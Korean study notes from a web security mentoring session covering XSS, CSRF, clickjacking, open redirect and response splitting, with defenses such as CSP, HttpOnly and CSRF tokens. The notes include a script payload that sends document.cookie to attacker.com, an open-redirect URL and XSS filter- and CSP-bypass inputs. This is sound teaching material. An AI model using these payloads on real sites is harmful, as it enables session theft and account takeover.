7/24[이기택멘토님 with rubiya]

Client-side: XSS, CSRF, Open Redirect

Server-side: SQL Injection, Command Injection, SSRF, XXE

HTTP Protocol

JavaScript: 정것으로 움직이지 않는 HTML 문서가 동적으로 움직일 수 있게 해주는 프로그래밍 언어

Cookie: HTTP는 한 번 요청을 주고 받은 후 연결이 끊어지는 stateless 속성을 가지고 있다.

연결이 끊어진 후에는 어느 클라이언트와 연결을 했었는지 알 수 없기에 이를 구분하기 위해 작은 데이터 조각을 클라이언트에게 할당해주며, 이를 Cookie라고 부른다.

Session: Cookie의 문제점: 클라이언트 사이드에 저장되므로 클라이언트가 변조 가능

클라이언트에게는 id만 제공 실제 정보는 서버가 갖고 있다.

서버에서 클라이언트에게 유일한 ID를 부여하는데 이것이 Session ID

Web Framework

Server-side Framework: django, ruby,...

Client-side Framework

-----------------------------------------------------

Client Side Basic

1. Cross Site Scripting(XSS) 공격자가 악의적인 목적의 코드를 취약한 웹사이트 콘텐츠의 일부로 속여 해당 사이트에 접속한 희생자의 웹 브라우저에서 임의의 코드를 실행시킨다

세션 아이디, 쿠키의 획득을 통한 권한 탈취, 웹 브라우저 자체의 취약점과 연계하여 희생자 PC에서의 원격 코드 실행등을 유발 가능

Stored, Reflected, Dom Based로 분류

"희생자의 웹 브라우저에서 임의의 코드 실행"

javascript코드가 실행된다

<script>

location.href='http://attacker.com/xss?cookie='+document.cookie 구문을 통해 파라미터에 자신의 Cookie를 전송

</script>

Stored: 공격자가 보낸 악의적인 데이터가 서버에 저장되어 정상적인 사용자에게 노출될때(게시물, 채팅..)

Reflected: Clinet가 보낸 Request중 부적절한 값을 처리하지 못한 채 Response에 포함시켰을 경우에 발생

악의적인 행동을 하는 코드가 Client로부터 전달됨

공격자가 페이로드가 포함된 URL을 희생자에게 메일로 전송하거나 다른 웹사이트에 퍼뜨러 클릭을 유도

Dom Based: 클라이언트단에서 자바스크립트 코드가 요청을 처리하고 응답할 HTML코드를 렌더링하는 웹어플리케이션이 유행

서버를 거치지 않고 자바스크립트 코드가 응답을 만들어주면 Dom Based

페이로드가 서버를 거치지 않는다! 방화벽이 서버에 있으므로 Dom Based는 방화벽의 영향을 받지 않는다.

-------

Server-side Script 단에서 필터링(화이트리스트, 블랙리스트)

사용자가 로그인할 때 세션에 로그인한 IP주소를 함께 저장,

Request를 받을 때마다 현재 IP 주소와 로그인했던 IP 주소가 동일한지를 확인하여 불일치하면 요청을 거절, 하지만 스마트폰의 사용자 증가로 어려워진 방법

지금은 국가만 체크

HTTPOnly 플래그(크롬에서 제안)

서버측에서 Respons에 Set-Cookie헤더를 전송해 Cookie를 서ㅐㅇ성할 때 옵션으로 설정 가능

JavaScript코드에서 해당 Cokoie에 접근하는 것을 막는다. 

CSP(Content Secrity Policy)

Response Header에 선언해서 사용할 수 있다.

script-src를 선언해 JavaScript코드의 출처를 제한할 수 있다.

X-XSS-Protection

Response헤더에 X-XSS-Protection: <값> 와 같이 선언해서 사용할 수 있다.

웹브라우저에 전송된 Request값이 XSS 페이로드와 유사하게 생겼고, Response에 해당 페이로드가 포함되었을 경우 

최신 JavaScript 프레임워크

Angular, Reace, Vue.js등의 최신 JavaScript 프레임워크

XSS를 막기 위한 많은 시도가 내장되어 있음

CSRF(Cross Site Request Forgery)

공격자가 희생자의 권한으로 수행하기를 원하는 행동을 희생자가 직접 수행하도록 유도

수행하는 행동은 데이터의 등록, 수정, 삭제 등 서버의 상태에 변경을 일으키는 행동이다.

유도하는 방법으로는 특별히 제작된 image태그, html form 태그, JavaScript의 XMLHttpRequest요청등이 사용된다.

때로 CSRF 공격에 취약한 사이트 자체에 CSRF 페이로드를 저장할 수 있는데 이 경우를 Stored CSRF라고 부르며, 희생자가 해당 사이트에서 이미 인능을 마쳤을 가능성이 높아 심각성을 더 높게 평가한다.

CSRF 보호기법: CSRF Token, Request 출처 확인, Cookie 2회 제출, Samestie cookie 플래그 사용, 

CSRF Token: request form 을 생성할 때마다 작은 텍스트 조각을 함께 전달해준다. 

<form method=post action=http://bank.com>

<input name=account>
<input name=amount>

<input name=csrf_token value=sfkhsdljglk(해시값)>

<input type=submit>

기존에 있던 조각의 값과 비교

Request 출처 확인

HTTP Request의 Origin, Referer 헤더를 확인

Cookie 2회 제출

세션공유가 어려운 환경에서 사용

작고 저장한 텍스트 조각을 생성하여 쿠키에 저장, form이 전송될 ㅐ 해당 텍스트 조각을 함께 전송하여 두 값이 일치하는지 확인

사용자 상호 작용 기반 방어: captcha, 비밀번호 재 입력 요구,,,

Click Jacking

공격자가 투명 레이러를 사용하여 겹쳐진 페이지를 생성해 희생자가 최상위 페이지의 컨텐츠를 클릭하거나 값을 입력하는 것으로 속인다.  CSP의 frame-src 옵션을 주어 다른 도메인에서 해당 페이지를 frame, iframe으로 호출하는 것을 막을 수 있다.

Open Redirect

방문자가 원래 요청한 url이 아닌 다른 url로

https://www.lezhin.com/ko/login/redirect=?url=http://attacker.com

HTTP Response Splitting

Set-Cookie: author=foobar\r\n

Set-Cookie: sessionid=whatever\r\n

\r\n

혹은 response body를 조작할 수 있다. \r\n을 두번 넣어서!!

-----------------------------------

Cross Site Scripting 을 하면 Bypass XSS filter

가장흔한 경우 꺾쇠괄호(<, >)의 필터링

우회방법

<img src="logo.png" alt="{userinput}">

 "onload="alert() 를 입력 넣어준다

CSP 우회

callback=alert()//

을 수행하여 자바스크립트 수행

여러 페이지를 거쳐서 수행되는 작업

Session ID URL Rewrite

HTTPS 프로토콜 사용

SOP(Same origin Policy)

script 태그의 경우 SOP 정책의 적용을 받지 않는다. 

XML Injection